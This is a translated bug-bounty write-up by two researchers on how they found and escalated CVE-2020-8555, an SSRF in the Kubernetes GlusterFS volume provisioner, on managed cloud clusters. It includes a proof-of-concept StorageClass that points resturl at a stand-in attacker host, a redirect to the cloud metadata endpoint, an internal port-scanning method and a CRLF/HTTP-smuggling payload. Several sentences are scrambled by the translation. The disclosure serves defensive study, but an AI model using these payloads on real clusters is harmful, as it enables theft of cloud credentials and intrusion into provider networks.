🥇When it's not just about the vulnerability in Kubernetes…

Note: translation.: the authors of this article detail how they managed to discover a vulnerability CVE-2020–8555 in Kubernetes. Although it initially seemed not very dangerous, its criticality turned out to be maximal for some cloud providers when combined with other factors. Several organizations generously rewarded the specialists for their work.

Who are we

We are two French security researchers who jointly discovered a vulnerability in Kubernetes. Our names are Brice Augras and Christophe Hauquiert, but on many Bug Bounty platforms, we are known as Reeverzax and Hach respectively:

Brice Augras — Groupe Asten Company;
Christophe Hauquiert — Kubernetes architect at Nokia.

What happened?

This article is our way of sharing how an ordinary research project unexpectedly turned into the most exciting adventure of our lives as bug hunters (at least so far).

As you probably know, bug hunters have a couple of notable traits:

they live on pizza and beer;
they work when everyone else is asleep.

We are no exception to these rules: we usually meet on weekends and pull all-nighters hacking. But one of those nights ended quite unusually.

Initially, we planned to meet to discuss participation in CTF the next day. During a conversation about Kubernetes security in a managed service environment, an old idea of SSRF came to mind (Server-Side Request Forgery) and we decided to try using it as an attack scenario.

At 11 PM, we dove into the research, and went to sleep early in the morning, quite satisfied with the results. It was due to this research that we stumbled upon the MSRC Bug Bounty program and devised an exploit with privilege escalation.

Weeks/months went by, and our unexpected result allowed us to receive one of the highest rewards in the history of Azure Cloud Bug Bounty — in addition to the one we received from Kubernetes!

As a result of our research project, the Kubernetes Product Security Committee published CVE-2020–8555.

Now we want to spread the information about the discovered vulnerability as widely as possible. We hope you appreciate the find and share the technical details with other members of the infosec community!

So, here's our story...

Context

To fully convey the meaning of what has happened, let’s first look at how Kubernetes operates in a cloud-managed environment.

When you create a Kubernetes cluster instance in such an environment, the management layer is typically handled by the cloud service provider:

The management layer resides at the edge of the cloud provider, while the Kubernetes nodes are within the client's perimeter.

Dynamic volume allocation utilizes a mechanism for dynamically provisioning them from external storage backends and mapping them to PVC (Persistent Volume Claim).

Thus, once the PVC is created and bound to a StorageClass in the K8s cluster, the subsequent operations for volume provisioning are handled by the kube/cloud controller manager (its exact name depends on the release). (Note: translation.: We have already discussed CCM in detail with an example implementation for one of the cloud providers. here.)

There are several types of provisioners supported by Kubernetes: most of them are included in the orchestrator's core,while others are managed by additional provisioners, which are hosted in pods within the cluster.

In our study, we focused on the internal volume provisioning mechanism illustrated below:

Dynamic volume provisioning using Kubernetes' built-in provisioner.

In brief, when Kubernetes is deployed in a managed environment, the cloud service provider is responsible for the controller manager's operations, but the request to create a volume (number 3 in the above diagram) leaves the boundaries of the cloud provider's internal network. And this is where the situation becomes truly interesting!

Hacking Scenario

In this section, we will describe how we took advantage of the workflow mentioned above to gain access to the internal resources of the cloud service provider. Additionally, we will demonstrate how certain actions can be performed—such as obtaining internal credentials or escalating privileges.

A simple manipulation (in this case, Service Side Request Forgery) helped us break out of the client environment in clusters of various managed K8s service providers.

In our research, we focused on the GlusterFS provisioner. Although the subsequent sequence of actions is described in such a context, Quobyte, StorageOS, and ScaleIO are also vulnerable to this same exploit.

Abusing the dynamic volume provisioning mechanism

During the analysis of storage classes GlusterFS in the source code of the Golang client, we noticed, that in the first HTTP request (3) made during the volume creation, an extra path is appended to the end of the user URL in the parameter resturl is added /volumes.

To remove this additional path, we decided to add it # to the parameter resturl. Here is the first YAML configuration we used to test for the "semi-blind" SSRF vulnerability (for more details on semi-blind or half-blind SSRF, you can read, for example, here - translator's note):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Then, for remote control of the Kubernetes cluster, we used the binary kubectl. Typically, cloud providers (Azure, Google, AWS, etc.) allow obtaining credentials for use with this utility.

Thanks to this, we could apply our "special" file. The kube-controller-manager executed the resulting HTTP request:

kubectl create -f sc-poc.yaml

The response from the attacker's perspective

Shortly after that, we were also able to receive an HTTP response from the target server — through the commands describe pvc or get events in kubectl. And indeed: this Kubernetes driver, by default, is overly verbose in its warnings/errors...

Here is an example with a reference to https://www.google.fr, set as a parameter resturl:

kubectl describe pvc poc-ssrf
# or you can use kubectl get events

As part of this approach, we were limited to requests of type HTTP POST and could not obtain the body content of the response if the return code was 201. Therefore, we decided to conduct further investigations and expanded this attack scenario with new approaches.

The evolution of our research

Advanced scenario #1: using a 302 redirect from an external server to change the HTTP method to obtain a more flexible way of collecting internal data.
Advanced scenario #2: automation of LAN scanning and discovery of internal resources.
Advanced Scenario #3: Using HTTP CRLF + smuggling to create tailored HTTP requests and extract data from the kube-controller logs.

Technical Specifications

The research utilized Azure Kubernetes Service (AKS) with Kubernetes version 1.12 in the North Europe region.
The scenarios described above were executed on the latest releases of Kubernetes except for the third scenario, which required Kubernetes built with Golang version ≤ 1.12.
The attacker's external server — https://attacker.com.

Advanced Scenario #1: Redirecting a POST HTTP request to GET and obtaining confidential data

The original method was improved by the malicious server's configuration to return 302 HTTP Retcode, to convert the POST request into a GET request (step 4 in the diagram):

The first request (3), originating from the client GlusterFS (Controller Manager), is of type POST. By following the subsequent steps, we were able to transform it into a GET:

As a parameter resturl in StorageClass, it specifies http://attacker.com/redirect.php.
The endpoint responds with a status code of 302 HTTP with the following Location Header: https://attacker.com/redirect.php . This could be any other internal resource — in this case, the redirect link is used solely as an example. http://169.254.169.254By default
the net/http library of Golang redirects the request and converts POST to GET with a 302 status code, resulting in a GET HTTP request reaching the target resource. To read the body of the HTTP response, one must perform

describe of the PVC object: kubectl describe pvc xxx

Here is an example of an HTTP response in JSON format that we managed to obtain:

The potential of the found vulnerability at that moment was limited due to the following factors:

The inability to insert HTTP headers into the outgoing request.

The inability to perform a POST request with parameters in the body (this is convenient for querying the key value from an etcd instance running on
the port if unencrypted HTTP is used). 2379 The inability to obtain the body content of the response when the status code was 200 and the response lacked the JSON Content-Type.
Advanced Scenario #2: Scanning the local network

This half-blind SSRF method was then used to scan the internal network of the cloud service provider and poll various listening services (Metadata instance, Kubelet, etcd, etc.) based on the responses from

the kube controller First, standard listening ports of Kubernetes components (8443, 10250, 10251, etc.) were identified, and then the scanning process had to be automated..

First, the standard listening ports for Kubernetes components (8443, 10250, 10251, etc.) were identified, and then the scanning process had to be automated.

Seeing that this method of scanning resources is very specific and incompatible with classic scanners and SSRF tools, we decided to create our own workers in a bash script to automate the entire process.

For example, to scan the range 172.16.0.0/12 of the internal network faster, 15 workers were launched in parallel. The above IP range was chosen purely as an example and can be changed to the IP range of a specific provider.

To scan a single IP address and one port, you need to do the following:

remove the previously checked StorageClass;
remove the previously checked Persistent Volume Claim;
change the values of IP and Port in sc.yaml;
create a StorageClass with the new IP and port;
create a new PVC;
retrieve the scanning results using describe for PVC.

Advanced Scenario #3: CRLF injection + HTTP smuggling in "old" versions of the Kubernetes cluster

If the provider also offered clients old versions of the K8s cluster, and granting them access to kube-controller-manager logs made the effect even more significant.

It's much more convenient for an attacker to change HTTP requests at their discretion, intended to obtain a complete HTTP response.

To implement the last scenario, the following conditions had to be met:

The user must have access to the kube-controller-manager logs (as, for example, in Azure LogInsights).
The Kubernetes cluster must use Golang version lower than 1.12.

We deployed a local environment simulating data exchange between a Go client and a fake target server (we will refrain from publishing the PoC for now).

An issue was discovered vulnerability, affecting Golang versions prior to 1.12 and allowing hackers to conduct HTTP smuggling/CRLF attacks.

By combining the previously described half-blind SSRF with this, we were able to send requests at our discretion, including modifying headers, the HTTP method, parameters, and data that kube-controller-manager then processed. Here is an example of a working 'bait' in the parameter

of the StorageClass that implements a similar attack scenario: resturl http://172.31.X.1:10255/healthz? HTTP/1.1 Connection: keep-alive Host: 172.31.X.1:10255 Content-Length: 11 GET /pods? HTTP/1.1 Host: 172.31.X.1:10255

As a result, an error occurs

unsolicited response unsolicited response, the message of which is logged by the controller. Due to the default verbosity setting, the contents of the HTTP response message are also saved there.

This was our most effective "bait" in the proof of concept.

By using this approach, we were able to carry out some of the following attacks in clusters of various managed k8s providers: privilege escalation to obtain credentials from metadata instances, DoS against the master using (unencrypted) HTTP requests to the master etcd instances, and so on.

Consequences

In the official statement from Kubernetes regarding the SSRF vulnerability we discovered, it was assigned a rating CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. If we consider only the vulnerability related to the Kubernetes perimeter, the integrity vector (integrity vector) in it is classified as None.

However, the assessment of potential consequences in the context of a managed service environment (and this was the most interesting part of our research!) prompted us to reclassify the vulnerability to a rating Critical CVSS 10/10 for many distributors.

Below is additional information that will help understand what guided us in assessing the potential consequences in cloud environments:

Integrity

Remote command execution using acquired internal credentials.
Reproducing the above scenario via IDOR (Insecure Direct Object Reference) with other resources found on the local network.

Confidentiality

Lateral Movement attack due to stealing cloud credentials (e.g., from the metadata API). Information gathering through local network scanning (determining SSH versions, HTTP server versions, etc.).
Information gathering about instances and infrastructure by polling internal APIs, such as the metadata API (
Customer data theft using cloud credentials.http://169.254.169.254, …).
Availability

All exploit scenarios related to attack vectors on

integrity , can be used for destructive actions and lead to master instances being unavailable from the client perimeter (or any other)..

As we were in a managed K8s environment and assessing the impact on integrity, one can imagine numerous scenarios that could affect availability. Additional examples include database corruption in etcd or making a critical call to the Kubernetes API.

Timeline

December 6, 2019: Reported a discovered vulnerability to the MSRC Bug Bounty.
January 3, 2020: A third party informed Kubernetes developers that we were working on the security issue. They requested that SSRF be considered an in-core vulnerability. Following this, we submitted a comprehensive report with technical details about the source of the issue.
January 15, 2020: We provided Kubernetes developers with technical and general reports upon their request (via the HackerOne platform).
January 15, 2020: Kubernetes developers notified us that half-blind SSRF + CRLF injection for past releases is considered an in-core vulnerability. We immediately ceased analyzing the boundaries of other service providers: the root cause was now being addressed by the K8s team.
January 15, 2020: Received a reward from MSRC through HackerOne.
January 16, 2020: The Kubernetes PSC (Product Security Committee) acknowledged the vulnerability and requested that it be kept confidential until mid-March due to the large number of potential victims.
February 11, 2020: Received a reward from Google VRP.
March 4, 2020: Received a reward from Kubernetes through HackerOne.
March 15, 2020: The initially planned public disclosure was postponed due to the COVID-19 situation.
June 1, 2020: Joint statement from Kubernetes + Microsoft regarding the vulnerability.

TL;DR

We’re drinking beer and eating pizza 🙂
We discovered an in-core vulnerability in Kubernetes, although we didn't intend to.
We conducted additional analysis in clusters across various cloud providers and managed to increase the damage caused by the vulnerability to gain extra awesome bonuses.
In this article, you will find a lot of technical details. We are happy to discuss them with you (Twitter: @ReeverZax & @__hach_).
It turned out that all sorts of formalities and reporting took much longer than expected.